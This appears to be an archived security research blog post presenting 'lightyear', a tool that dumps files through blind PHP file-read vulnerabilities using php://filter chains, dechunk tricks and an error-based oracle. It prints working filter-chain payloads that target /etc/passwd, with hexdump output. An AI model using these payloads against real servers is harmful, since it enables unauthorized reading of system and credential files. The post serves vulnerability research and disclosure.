

Introducing lightyear, a new way to dump PHP files

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Content

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Introduction

PHP filter chains are, in my opinion, an amazing research subject, as they seem to offer an infinite, almost ungraspable number of possibilities to an attacker. Can we use filters to make [an unknown file look like an image](#)? Yes! Can we use them to [add a prefix and suffix to a file](#)? Yes. Can we use them to [dump a file, byte per byte, by leveraging memory exhaustion](#)? Yes as well. They are so numerous that any given problem can be tackled using a completely different algorithm: a given PHP filter problem can have many different solutions.

In 2024, I have spent months working with PHP filters to build [cnext](#), a collection of exploits making use of a buffer overflow in the GLIBC, [CVE-2024-2961](#). Along the way, I got new ideas regarding filters, which I was able to use to create [lightyear](#). This new tool uses a new algorithm **to dump files using an error-based oracle**, making it faster than the already existing implementations. But before we delve into the new, let's look at the previous state of the art, and where it could be improved.

State of the art, and limitations

[php_filter_chains_oracle_exploit](#), by [Remsio](#), allows an attacker to dump the contents of a PHP file using a blind file read primitive by making the engine run out of memory in some cases, resulting in an oracle. This tool is the current state of the art of dumping files, blind, in PHP. I advise you to read [the blogpost](#) describing its inner workings before going further, as it **will not be covered in this article**.

However, although amazing, it bears a few limitations:

- Payloads get big, fast. As a result, if the file read primitive you have is in a GET parameter, you cannot dump more than around 135 characters.
- Some base64 digits can get determined in a few requests, while others require many more. Overall, the process of determining the value of a character is not optimal.

- The character swapping algorithm, that allows the script to put the nth character in front of the base64 string, can produce PHP warnings, which in many modern frameworks result in an error, and thus may make the tool fail.
- Making PHP run out of memory is slow, as it will successively allocate bigger and bigger strings before erroring out.

We'll see that, using a **brand new algorithm**, and a few **other ideas**, all these limitations can **vanish**.

lightyear: to infinity, and beyond!

This new tool is called **lightyear**, because it goes further, faster, and with less. In more practical terms, lightyear...

- can dump files of **tens of thousands** of bytes using **small payloads** (a few thousand characters);
- determines the value of each byte **using dichotomy** (6 requests), which is the most efficient;
- can greatly **speed up request time** by refraining from making PHP run out of memory;
- does not produce any unwanted PHP warnings or errors.

Overall, the impact is that we can **dump files that are bigger by an order of magnitude, and that we can do it faster, and in more situations**.

As an example, I was able to dump the contents of an `/etc/passwd` file of 854 bytes in **less than 30 seconds**, with a payload whose size does not exceed **2000 bytes**. Even better: I was able to dump a file **more than 50 thousand bytes** (!) through GET requests (payloads smaller than 7000 bytes).

The improvements made by the tool can be split in several categories, that we'll see one by one.

Going further

Let's first see how we can dump large files with very small payloads.

Picking a base64 digit

The standard idea behind the **original algorithm** is to convert a file to base64, "select" a digit at position *p* (i.e. put it in front of the others), and then use an oracle to determine its value.

To "select" a base64 digit, `php_filter_chains_oracle_exploit` uses a combination of charsets to add two characters (using `convert.iconv.UTF16.UTF16`) and swap the position of characters.

`convert.iconv.UCS-4LE.UCS-4BE`, for instance, swaps each quartet of 4 characters around, and `convert.iconv.UTF16LE.UTF16BE` swaps two. This technique has two main issues:

- It makes the `php://filter` payload get big, fast (more than 7000 chars to select the 135th base64 digit)
- It might raise warnings, if the size of the base64 string is not aligned properly (for instance, swapping 4 chars on a string of 6 characters produces a warning)

We will see that **the mind behind the initial idea**, @hash_kitten, was right: instead of bringing some digit to the beginning of the base64 string, we **can** remove the ones that came before instead. And to do so, we'll use the go-to filter for data removal, `dechunk`.

Dechunk approximations

`dechunk` decodes an HTTP chunked encoded string, which consists of a succession of hexadecimal sizes and data chunks, such as:

```
5↓  
ABCDE↓  
3↓  
FGH↓  
0↓
```

Here, `dechunk` reads the first size `5`, then reads 5 bytes, and then the second size `3`, then 3 bytes, and finally zero, indicating the end of the data. We get: `ABCDEFGH`. Each line ends with a `\n`, represented as `↓` in this example and the next ones.

The beauty about this filter is that is **does not complain much**. First, when it is done parsing a size, it reads until the next newline and discards what comes in between. Then, if the size it has read is invalid, it just returns the rest of the data, instead of telling us we messed up somewhere.

Let's go back to our completely valid chunked document:

```
5↓  
ABCDE↓  
3↓  
FGH↓  
0↓
```

After each size, one can add a *chunk extension*:

```
5-this is the first chunk extension↓  
ABCDE↓  
3this is the second one!↓  
FGH↓  
0:and the last one!↓
```

The RFC states that when decoding, *chunk extensions* are to be ignored. Therefore, as we dechunk this payload, we get the same result as before: `ABCDEFGH`. The *extensions*, `-this is the first chunk extension`, `this is the second one!`, and `:and the last one!`, disappear. [The RFC also states](#) that *chunk extensions* should be separated from the chunk size using a `;`, but PHP does not care about that. With PHP, no separator is required at all: if a character is not valid hexadecimal (`acbdefABCDEF01235789`), it just assumes that this is the start of the *chunk extension*, and every byte between the size and the newline get discarded.

Another interesting fact about `dechunk` can be shown through this example:

```
5↓
ABCDEF this is way bigger than 5!↓
16↓
This has the right size↓
0↓
```

Here, the first size of 5 is wrong. It should be `21` (33 in decimal). What happens in such a case? PHP simply gets rid of the size header, and keep everything that comes after. We thus get:

```
ABCDEF this is way bigger than 5!↓
16↓
This has the right size↓
0↓
```

Like every bug, it can be useful to an attacker. Say that we have a multiline text file:

```
1, This is the first line↓
2, This is the second!↓
This is the third line...↓
And the fourth.↓
```

If we apply `dechunk` on such a file, PHP parses `1` as the chunk size, `, This is the first line` as the chunk extension, and then tries to read a chunk of 1 byte. This will fail, and therefore everything after the first line will get returned:

```
2, This is the second!↓
This is the third line...↓
And the fourth.↓
```

With a single call to `dechunk`, we removed a whole line! Now, if we dechunk again, we get the same effect: `2` parsed a size, `, This is the second!` as chunk extension, and a final result:

```
This is the third line...↓
And the fourth.↓
```

Again, a line has disappeared. But we were lucky here: the lines **started with an hexadecimal digit**! We cannot use `dechunk` directly to remove the third line, as it does not start with one. As a result, `dechunk` will immediately fail and return the whole data without stripping anything. However, we are able, with PHP filters, to [prepend arbitrary bytes to a string](#). Therefore, we can prepend an hexadecimal digit, such as `C`:

```
CThis is the third line...  
And the fourth.
```

And then dechunk again:

```
And the fourth.
```

Nice! we can use `dechunk` to remove whole parts of a file. But how can we weaponize this behaviour? We could *dechunk* to jump from line to line, and use the original swap strategy to reach each character in each line. But this would only work with files that are organised in (relatively small) lines... What about JSON files, binary files, *etc.*?

Perfect world set of digits

Most filter chain techniques work on the base64 representation of a file. This limits the byteset to the 64 following digits: `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/.` . In a perfect world, it would be very convenient if one of these digits was a **newline** instead, so that we could use our *add-hexdigit-then-dechunk* technique described right above to strip part of the string. In such a world, the B64 digits could be: `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/.` (notice that the **F** is now a newline).

Now, using `convert.iconv.X.Y` filters, we can convert base64 digits into other byte values. For instance, when converting the original `a-zA-Z0-9+/.` digits from `ASCII` to the `EDCBIC-uk` character set, we get:

	ORIGINAL DIGIT SET																	
00000000	61	62	63	64	65	66	67	68	69	6a	6b	6c	6d	6e	6f	70	abcdefgh	ijklmnop
00000010	71	72	73	74	75	76	77	78	79	7a	41	42	43	44	45	46	qrstuvwxyz	yzABCDEFG
00000020	47	48	49	4a	4b	4c	4d	4e	4f	50	51	52	53	54	55	56	GHIJKLMN	OPQRSTUV
00000030	57	58	59	5a	30	31	32	33	34	35	36	37	38	39	2b	2f	WXYZ0123	456789+/,
	NEW DIGIT SET																	
00000000	81	82	83	84	85	86	87	88	89	91	92	93	94	95	96	97	xxxxxxxx	xxxxxxxx
00000010	98	99	a2	a3	a4	a5	a6	a7	a8	a9	c1	c2	c3	c4	c5	c6	xxxxxxxx	xxxxxxxx
00000020	c7	c8	c9	d1	d2	d3	d4	d5	d6	d7	d8	d9	e2	e3	e4	e5	xxxxxxxx	xxxxxxxx
00000030	e6	e7	e8	e9	f0	f1	f2	f3	f4	f5	f6	f7	f8	f9	4e	61	xxxxxxxx	xxxxxxNa

A new set of digits for base64: `\x81\x82...`

Since every byte in the converted value is different, this is a **valid representation of the base64 encoding**: a new set of digits, where **a** is now `\x81`, **b** is `\x82`, *etc.*

This yields the question: can we use character set conversions filters to obtain an **alternative set of 64 digits** for the base64 encoding, in which one digit **is a newline**?

To answer this question, I picked every single-byte charset, and for each possible byte (the 256 of them), I built a dictionary that stored the bytes it could be converted to, using which charset conversion. It only took a few minutes to run. Then, I built a script.

The script starts from `\n`, and lists every byte that it can be converted from (its parents). Then, it gets the parents of these parents, the parents of these parents, and so on, until it finds a parent that is a **base64 digit**.

For instance, by converting the charset from `8859_1` to `IBM037`, `\x8e` becomes `\n`. `\x8e` is thus a parent of `\n`. When converting from `IBM1122` to `IBM1026`, `\xcc` becomes `\x8e`. Finally, when converting from `IBM1144` to `HP-roman8`, `c` becomes `\xcc`. At this point, we know that we can convert the character `c` to `\n` using the following filter chain:

```
convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
```

But what about the other base64 digits? The script can then apply the conversion on them to, and make sure that it'd get 64 different bytes:

```
php://filter/
  convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
/resource=data:;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%2B/'
```

00000000	61 4a 80 44 98 45 c7 be	b6 72 6b 6c 6d 6e 6f ec	aJxDxExx xrklmn ox
00000010	78 9f b2 b1 47 6a b5 9c	73 7a 41 c3 0a 83 63 42	xxxxGjxx szAx_xcB
00000020	eb e0 b3 fa 4b 4c 4d 4e	5a 50 bb 65 75 d0 ef 69	xxxxKLMN ZPxoux xi
00000030	ad a1 ae 67 30 31 32 33	34 35 36 37 38 39 2b 2f	xxg0123 456789+ /

A new digit set for base64, in which `c` is now a newline

What we get is an alternative **digit set** for the base64 encoding, which we can convert to using filters, and in which the digit that was originally `c` is now a newline. In this new representation, `a` is now `a` (unchanged), `b` is now `J`, `c` is `\x80`, etc., and **crucially, `c` is `\n`**.

The base64 can even be reversed to its original value by inverting the filter chain:

```
php://filter/
  convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
|convert.iconv.IBM037.8859_1|convert.iconv.IBM1026.IBM1122|convert.iconv.HP-roman8.IBM1144
/resource=data:;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%2B/'
```

00000000	61 62 63 64 65 66 67 68	69 6a 6b 6c 6d 6e 6f 70	abcdefgh ijklmnop
00000010	71 72 73 74 75 76 77 78	79 7a 41 42 43 44 45 46	rstuvwxy zABCDEFGHI
00000020	47 48 49 4a 4b 4c 4d 4e	4f 50 51 52 53 54 55 56	GHIJKLMN OPQRSTUVWXYZ
00000030	57 58 59 5a 30 31 32 33	34 35 36 37 38 39 2b 2f	WXYZ0123 456789+ /

If we apply the filter chain to the base64 representation of a real file, such as `/etc/passwd`, we now have, along the way, in lieu and place of the `c` digits, newline characters:

```
php://filter/convert.base64-encode
|convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
/resource=/etc/passwd
```

00000000	80 6d 39 6a 44 83 ec 34	5a 72 41 36 4d 83 ec 73	xm9jDxx4 ZrA6Mxxs
00000010	4a 32 39 30 5a b6 39 73	4a 32 39 30 5a b6 39 b6	J290Zx9s J290Zx9x
...			
000000a0	5a 6e c7 36 4d 7a 6f 7a	5a 6e 4e 35 80 7a 6f 6a	Zn×6Mzoz ZnN5×zoz
000000b0	67 eb 69 32 5a b6 39 31	80 33 b3 6a 80 32 fa ec	gx12Zx91 ×3×j×2×x
000000c0	4a b6 39 47 4a 32 9c 6a	67 32 6c 47[0a]6e 4e 35	J×9GJ2×j g2lG_nN5 ← here
000000d0	4a 6d 4d 36 98 83 6f 30	5a 72 ae 31 4e d0 4d 30	JmM6×x00 Zr×1N×M0
000000e0	5a 6e 4e 35 4a 6d 4d 36	4c 32 fa ec 4a 72 6f 6a	ZnN5JmM6 L2×xJroj
...			
00000170	4c 32 35 6a 4a eb 39 6e	61 ad 34 4b 4a e0 41 36	L25jJ×9n ax4KJ×A6
00000180	98 83 6f 33 5a 72 80 36	4a e0 41 36 4c 33 67 be	×x03Zr×6 J×A6L3gx
00000190	80 b6 39 7a 80 eb 39 6a	4a[0a]39 b2 80 eb bb 36	×x9z×x9j J_9×××x6 ← here
000001a0	4c 33 69 7a 80 b6 39 7a	ae 6d 6c 47 4c 32 35 6a	L3iz×x9z xm1GL25j
000001b0	4a eb 39 6e 61 ad 34 4b	4a ad 42 ec 4a 83 ec 34	J×9nax4K J×B×J×x4
...			
000001f0	4a c7 ec 47 67 a1 44 7a	5a 6e c7 36 5a d0 6f 35	J×xGgx Dz Zn×6Z×o5
00000200	5a 6d 35 6c 44 33 4d 36	4c 33 67 be 80 b6 39 7a	Zm5lD3M6 L3g××x9z
00000210	80 eb 39 6a 4a[0a]39 47	67 a1 44 7a 5a b6 39 31	×x9jJ_9G gx DzZx91 ← here
00000220	80 33 b3 6a 80 32 fa ec	4a b6 39 47 4a 32 9c 6a	×3×j×2×x J×9GJ2×j
00000230	67 32 6c 47[0a]6e 69 31	ae 33 41 36 98 83 6f 9c	g2lG_ni1 ×3A6×xox ← and here
00000240	4d 83 6f 9c 4d 83 ec 31	44 ad 4e b5 5a b6 39 32	M×oxM×x1 D×N×Z×92
00000250	ae a1 b3 6a 80 33 c3 6a	4a 32 b5 6a 44 a1 69 72	×x×j×3×j J2×jD×ir
...			

A base64 string converted to the alternative digit set where `c` is a newline

With such a digit representation, we can use the *add-hexdigit-then-dechunk* technique we described in the previous section!

In the last example, the modified base64 of `/etc/passwd`, the first newline is at offset 205 (0xcd). We would like to call `dechunk` immediately, but this would not work: the **chunk needs to have a size**. This means that we need to add an hexadecimal digit at the beginning of the string (any of `abcdefABCDEF123456789`). [Previous research has shown how to add a digit to a base64 string](#), but this only works if the base64 string is in its original representation! Therefore, we need to add the hexadecimal digit *before* we convert to the new digit set. As a result, we find a base64 digit that has an hexadecimal value in the new digit set.

	ORIGINAL DIGIT SET																	
00000000	61	62	63	64	65	66	67	68	69	6a	6b	6c	6d	6e	6f	70	abcdefgh	ijklmnop
00000010	71	72	73	74	75	76	77	78	79	7a	41	42	43	44	45	46	qrstuvwx	yzABCDEFG
00000020	47	48	49	4a	4b	4c	4d	4e	4f	50	51	52	53	54	55	56	GHIJKLMN	OPQRSTUV
00000030	57	58	59	5a	30	31	32	33	34	35	36	37	38	39	2b	2f	WXYZ0123	456789+

	DIGIT SET C																	
00000000	61	4a	80	44	98	45	c7	be	b6	72	6b	6c	6d	6e	6f	ec	aJxDxExx	xrklnnox
00000010	78	9f	b2	b1	47	6a	b5	9c	73	7a	41	c3	0a	83	63	42	xxxxGjxx	szAx_xcB
00000020	eb	e0	b3	fa	4b	4c	4d	4e	5a	50	bb	65	75	d0	ef	69	xxxxKLMN	ZPxeuxxi
00000030	ad	a1	ae	67	30	31	32	33	34	35	36	37	38	39	2b	2f	xxgx0123	456789+/

Original digit set versus digit set c

There are many: **f** in the original digit set becomes **E** in the new one, for instance (**a** would also work, as it becomes **a**, but that would not be a very good example).

Let us add an **f** to the base64 of `/etc/passwd`, and then convert to our new digit set:

```
php://filter/convert.base64-encode
|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.
|convert.iconv.IBM1144.HP-ROMAN8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
/resource=/etc/passwd
```

00000000	45 80 6d 39 6a 44 83 ec	34 5a 72 41 36 4d 83 ec	Exm9jDxx 4ZrA6Mxx	← `E` in front
00000010	73 4a 32 39 30 5a b6 39	73 4a 32 39 30 5a b6 39	sJ290Zx9 sJ290Zx9	
		...		
000000a0	7a 5a 6e c7 36 4d 7a 6f	7a 5a 6e 4e 35 80 7a 6f	zZn×6Mzo zZnN5×zo	
000000b0	6a 67 eb 69 32 5a b6 39	31 80 33 b3 6a 80 32 fa	jg×i2Z×9 1×3×j×2×	
000000c0	ec 4a b6 39 47 4a 32 9c	6a 67 32 6c 47[0a]6e 4e	×J×9GJ2× jg2lG_nN	← newline
000000d0	35 4a 6d 4d 36 98 83 6f	30 5a 72 ae 31 4e d0 4d	5JmM6×xo 0Zr×1N×M	
000000e0	30 5a 6e 4e 35 4a 6d 4d	36 4c 32 fa ec 4a 72 6f	0ZnN5JmM 6L2××Jro	
		...		

A dechunkable data representation

The **f** has become a **E**. Now, we have a chunk size, **E**, and a *chunk extension*, which consists of every character in between **E** and the newline. The payload is ready to get dechunked:


```
php://filter/convert.base64-encode
|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.
|convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
|dechunk
/resource=/etc/passwd
```

00000000	6e 4e 35 4a 6d 4d 36 98	83 6f 30 5a 72 ae 31 4e	nN5JmM6x	x00Zr×1N
00000010	d0 4d 30 5a 6e 4e 35 4a	6d 4d 36 4c 32 fa ec 4a	xM0ZnN5J	mM6L2××J
00000020	72 6f 6a ae 6d 6c 47 4c	33 4e 35 4a 6d 4d 4b 67	rojxm1GL	3N5JmMKg
	...			...

Applying dechunk on the modified base64 digit set

We have removed **206 base64 digits** using only a **few filters** (totalling **229 characters**), truncating the beginning of the file. To compare, if we wanted to do this with the character-swapping technique, it would cost us **7614 characters**.

We can now reverse back to the original base64 digits by inverting the conversions:

```
php://filter/convert.base64-encode
|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.
|convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
|dechunk
|convert.iconv.IBM037.8859_1|convert.iconv.IBM1026.IBM1122|convert.iconv.HP-roman8.IBM1144
/resource=/etc/passwd
```

00000000	6e 4e 35 62 6d 4d 36 65	44 6f 30 4f 6a 59 31 4e	nN5bmM6e	Do00jY1N
00000010	54 4d 30 4f 6e 4e 35 62	6d 4d 36 4c 32 4a 70 62	TM00nN5b	mM6L2Jpb
00000020	6a 6f 76 59 6d 6c 75 4c	33 4e 35 62 6d 4d 4b 5a	jovYm1uL	3N5bmMKZ
00000030	32 46 74 5a 58 4d 36 65	44 6f 31 4f 6a 59 77 4f	2FtZXM6e	Do10jYwO
00000040	6d 64 68 62 57 56 7a 4f	69 39 31 63 33 49 76 5a	mdhbwVzO	i91c3IvZ
	...			...

Applying dechunk once and reverting to the original representation

This demonstrates that the *add-hexdigit-then-dechunk* technique **works on base64 representations**.

Digit sets everywhere

Okay, but what happens if the base64 string has no **C**, or only a few of them? We'd not be able to use this technique much, and we'd go back to swapping characters around... Well, it turns out that **C** is not the only digit that has a digit set in which it is a newline. In fact, almost **every digit does!**

For instance, here is digit set **M**:

```
php://filter/
  convert.iconv.ISO_5427.ECMA-CYRILLIC|convert.iconv.IBM1144.IBM1026|convert.iconv.8859_1.IBM037
/resource=data:;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%2B/
```

	DIGIT SET M																		
00000000	45	42	46	43	47	9c	48	54		51	52	53	c0	55	56	57	8c	EBFCG×HT	QRS×UVW×
00000010	49	cd	ce	cb	cf	cc	e1	70		dd	de	65	62	66	63	67	9e	I×××××p	××ebfcg×
00000020	68	74	71	72	73	aa	0a	76		77	e3	69	ed	ee	eb	ef	ec	htqrs×_v	w×i×××××
00000030	bf	80	fd	fe	f0	f1	f2	f3		f4	f5	f6	f7	f8	f9	4e	61	×××××××	××××××Na

Digit set **M**: A digit set where **M** is a newline

Or digit set **S**:

```
php://filter/
  convert.iconv.IBM4971.IBM4909|convert.iconv.IBM1122.IBM1155|convert.iconv.8859_1.IBM037
/resource=data:;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%2B/
```

DIGIT SET S																				
00000000	61	eb	ef	ec	bf	80	fd	fe		fb	c0	6b	6c	6d	6e	6f	bd	a×××××××	××klmno×	
00000010	b6	9d	da	41	9b	b7	b9	ab		79	7a	65	62	66	63	67	9e	xxxAxxxx	yzebfcg×	
00000020	68	74	71	87	4b	4c	4d	4e		5a	50	72	73	0a	75	76	77	htq×KLMN	ZPrs_uvw	
00000030	c7	69	ee	bb	30	31	32	33		34	35	36	37	38	39	2b	2f	×i××0123	456789+	

Digit set **S**: a digit set where **S** is a newline

If any digit can be converted to a newline, that greatly improves the impact of the technique: we can now jump to (almost) every digit of a base64 string.

Jumping between digits

Let us go through the general idea again.

Say that we have read 3 base64 digits **ABC**, and we want to reach the forth one. We aim to convert to digit set **C** (i.e. the one where **C** is a newline) and dechunk, so that the first three digits disappear. For the dechunk to work, we need to prepend an hex digit, so that it is interpreted as the chunk size. We thus look at the 64 digits of digit set **C**, and pick one that is an hex digit. We find its representation in the original digit set, and add the original digit. We then convert to digit set **C**, and dechunk, thus removing **C** and everything that comes before. We can then use the oracle to dump the fourth character. When we dechunk everything up to a base64 digit, we can say that we *jump* to it.

Now, this only works until we meet a digit for the second time. For instance, say that we have dumped 6 digits, **ABCDEA**. We cannot jump to the second **A** with a single dechunk, as it would only remove the first one. The logical idea would be to jump to the first **A**, then on the second. But it does not need to be this way! We can jump to **C**, and then jump to the second **A**. Or, jump to **E**, and then to the second

A. Why pick one jump instead of the other? Well, the whole idea is to **minimize the size of the payload!**

Imagine a file whose base64 representation has a lot of A's, and not a lot of B's. Jumping to an A would surely not make us travel a long distance, while jumping to a B would! Thus, using jumps to B's would be more efficient, provided the size of the filter chain that converts to and from digit set B is not too big.

This is what *lightyear* does to reduce payload size: combine jumps to go as far as needed, while keeping the size of the `php://filter` payload as small as possible.

Chunk size: mined territory

We need to be careful while jumping around a base64 string: we might hit a mine.

In my examples, I always suggested that we could add **any** hexadecimal digit before we dechunk. We just expect the resulting chunk size to be **invalid**, and cause the `dechunk` call to just strip the first line. But what happens if it is **valid**?

```
|00000000| 37 ec 4a b6 39 47 4a 32 | 9c 6a 67 32 6c 47[0a]6e |7xJx9GJ2|xjg2lG_n|
|00000010| 4e 80 eb 39 6a 4a[0a]39 | 47 67 a1 44 7a 5a b6 39 |Nx9jJ_9|GgxZzZx9|
...                                     ...
```

Here, we have added the hex digit 7, without thinking much about it, and are now ready to dechunk, to remove everything up to the first newline at the 15th position. And after we do, something strange happens:

```
|00000000| 6e 4e 80 eb 39 6a 4a b2 | b3 42 65 bb d0 75 c3 7a |nNx9jJx|xBexuxz|
|00000010| 4a 32 67 30 44 32 42 73 | 67 75 c3 7a 44 eb 42 72 |J2g0D2Bs|guxZxBr|
...                                     ...
```

The second newline disappeared, along with what came after it. In fact, to our demise, `dechunk` worked properly. It read a size of 7, stripped the first line, and then read 7 bytes, and saw that the 8th was a newline, which was... perfectly normal. Therefore, it considered that the chunk was done, and it started parsing a new chunk size. And then it saw 9, and thought it was the size of a new chunk, and continued in its well meaning dechunk madness.

So, picking a **valid chunk size** can **alter the rest of the stream**. We would not care if we were only interested in the first digit after a jump, but to reach a destination, we perform several jumps in a row. Any one of these jumps breaks the base64 string, and we're doomed.

Sure, it just comes down to picking an invalid chunk size, a size that makes us not land on a `\n`. But at the time we pick the size, we may not have visibility on what comes next! Of course, we could set a huge length, by concatenating several hex digits (like `cccccccc`), making sure that the base64 string ends way before that size is exhausted. But that would not yield small payloads at all!

Therefore, every time we jump into unknown territory, we record the chunk size we used, and determine which byte we need to be careful about. If we refer to the last example, we'd know that since the jump size is 7, and the newline that comes after is at position 15, we need to be careful at position $7+15+1=23$. After we reach this digit (after dumping 23 more digits), we can check whether it has a problematic value. If not, we can keep using this jump. Otherwise, we need to pick another chunk size if we want to jump from the previous digit. In addition, if we cannot find a way to jump to a digit, we rebuild a chain where each chunk size is known to be invalid (and thus not break the stream).

Chunk size: clover field

While we might get unlucky with chunk sizes, we might also very well get lucky.

When converting to a digit set, it might just so happen that the first digit of the base64 string is an hexadecimal digit. If that happens, we do not need to add one ourselves. This saves a bit of space in the payload, as we can get rid of a few filters. It gets even better if we're also jumping from a digit which has the same value as the one we jump to. In this case, the jump can be done using a single `dechunk` filter. 8 bytes added to the payload, for a jump that can be as big as hundreds of bytes!

Overall performance

The technique is **deceptively efficient**: with payloads of a few thousands bytes, we can jump to digits located tens of thousands of bytes from the start of a file. Combining this with compression (using `zlib.deflate`), this means that the attack can work on **huge files**, even when the file read primitive is reachable **through GET requests**.

In addition, this new algorithm **does not produce any PHP warning**, which could stop the execution of the target script unexpectedly, especially with frameworks, that are very mindful of errors. We'll see in the next section another reason why this is useful.

Going faster

We can reach very remote parts of a file. Can we also improve the time required to dump each base64 digit?

Original idea

The process of leaking the value of some base64 digit is very well explained in [this blog post](#) or [this gist](#), so I won't explain it in details again.

Empty string oracle

To tell if a string is empty or not, `php_filter_chains_oracle_exploit` repeatedly applies the `convert.iconv.L1.UCS-4` filter. If the string is not empty, and as the string gets bigger, the filter takes longer and longer to execute, resulting in a **lag of a few seconds**, which ends in a PHP error such as `Allowed memory size of ... bytes exhausted`.

If there is no way to tell OK requests from errored requests, the timeout is very useful. It acts as a **time-based oracle**. However, in most cases, we can see if PHP failed or not just by comparing the two

responses. In such cases, the lag is a liability. To eliminate it, we can just **provoke the error differently**, for instance by making some charset conversion fail. There are thousands of ways to do this, but this filter chain does the job:

```
convert.iconv.UTF16.UTF16|convert.quoted-printable-encode|convert.base64-decode
```

If the string is not empty, one of these conversions fails, almost immediately producing a PHP warning. Since we generally send thousands of requests, this time difference **drastically improves the speed** at which we retrieve a file.

Even repartition

To find out the value of the first digit of a base64 string, `php_filter_chains_oracle_exploit` will first try to dechunk the string. If this produces an empty string, and thus does not provoke an error, it knows that the first digit is hexadecimal. From there, it sends another request which will tell it if the digit is within `abcde`. If it is not, it tries to see if it is within `ABCDE`, and so on until it pins down a digit.

In other words, on each test send to the oracle, it splits the set of possible digits in two. However, that splitting is not optimal: to get `e`, you only need 3 requests, while to get another, you might need 10!

It's no secret that the most efficient way to pull this off would be to use a dichotomial process where each test we send to the oracle splits the current set in half, thus reducing the amount of requests required to 6 ($\log_2(64)$).

The problem is that finding filter chains that would allow us to do this, by hand, is **hell**. I cannot imagine **how much time** `@hash_kitten` and `remsio` have conjointly spent to find the one they used in their POC and tool!

Armed with their work and a little bit more time, though, I was able to build a script that does.

Working towards a goal

To understand its logic, let's decompose what we need to do. Given a set of base64 digits, such as `ABCDEFGH`, we want to find a chain of filters that converts **half** of the digits into an **hexadecimal** value, and the rest in any other values. This generally cannot be achieved using a **single** filter, and we cannot afford to randomly bruteforce conversions. We need to think in **steps**. What makes the effect of a filter good, and the other bad? In essence, a **filter that makes some digits look the same** is good: if we had a filter that converted `C`, `D`, `E` and `F` to the same value `x`, and not `A`, `B`, `G`, and `H`, it'd help us work towards our goal.

To get that effect, we rely on two techniques.

Firstly, we make use of the `//TRANSLIT//IGNORE` suffix. When present, this suffix `iconv` replaces characters that cannot be translated from the input charset to the output charset into a dummy character such as `?`. If we have a set of 8 bytes, and 4 cannot be converted, they all become `?`, while the others get another byte value.

Secondly, we try to decompose each byte using filters such as `convert.quoted-printable-encode` or `convert.base64-encode`. Base64 stores 6 bytes per digit. As a result, `\xF0`, `\xF1`, `\xF2` or `\xF3` yield

the same first digit, `8`. To go back to our first example, let us see the first base64 digit of each of the `ABCDEFGH` characters:

DIGIT	ABCDEFGH
FIRST DIGIT OF B64	QQQRRRS

Four digits have now been converted to an `R`, getting us closer to our goal.

Perfect split

By implementing such techniques into a script (which is also available on our github), I was able to **perfectly decompose the set**. For instance, applying

```
IBM1141.IBM4517%2F%2FTRANSLIT%2F%2FIGNORE|convert.iconv.VISCII.MSZ_7795.3%2F%2FTRANSLIT%2F%2FIGNORE
```

 splits the initial set of 64 digits in two equal parts of 32 digits:

ORIGINAL VALUE	abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/-
CONVERTED VALUE	a@o@@@AaOkImnoOAAAA[[[ozAAoA?AAaO@KLMNOPAAADEEEEoa0123456789+/-
HEXADECIMAL?	x xx xxxx xx x xxx xxxxxxxx xxxxxxxxxxxx

Using such filter chains, [lightyear](#) can now obtain the value of **each digit** by sending **6 requests** to the target server.

Further, and faster

The tool combines every improvement described before: every time a base64 digit needs to be obtained, it computes the most optimized sequence of jumps to land right before the wanted digit, thus clearing evering in front, and then finds out the digit in a few requests.

Demo

Here is **lightyear** dumping `/etc/passwd` from a server.

Improvements

If you have also read about [wrapwrap](#), you are probably thinking that it could also be improved using the new *dechunk* algorithm. And you would be right! Sadly, I do not, at the time of writing, have the time to implement these changes.

[lightyear](#) itself could be improved, by fetching digits concurrently, or better caching the jumps in between digits. It could also be adapted to exploit file read primitives where only a few bytes can be read at once. I might bring myself to implemented these in the upcoming weeks, but nothing is for sure.

Conclusion

Thanks to new ideas, and the improvement of others, I was able to build [lightyear](#), a new tool to attack blind file read primitives in PHP, with greatly **improves time and space constraints**. It solves most limitations of the previous state of the art. However, this tool is merely an improvement of the

enormous, extremely qualitative work of other hackers, and I am certain that new discoveries will be made regarding the fascinating subject PHP filters are.

Archived from <https://www.ambionics.io/blog/lightyear-file-dump>. Rendered offline from the local Markdown copy.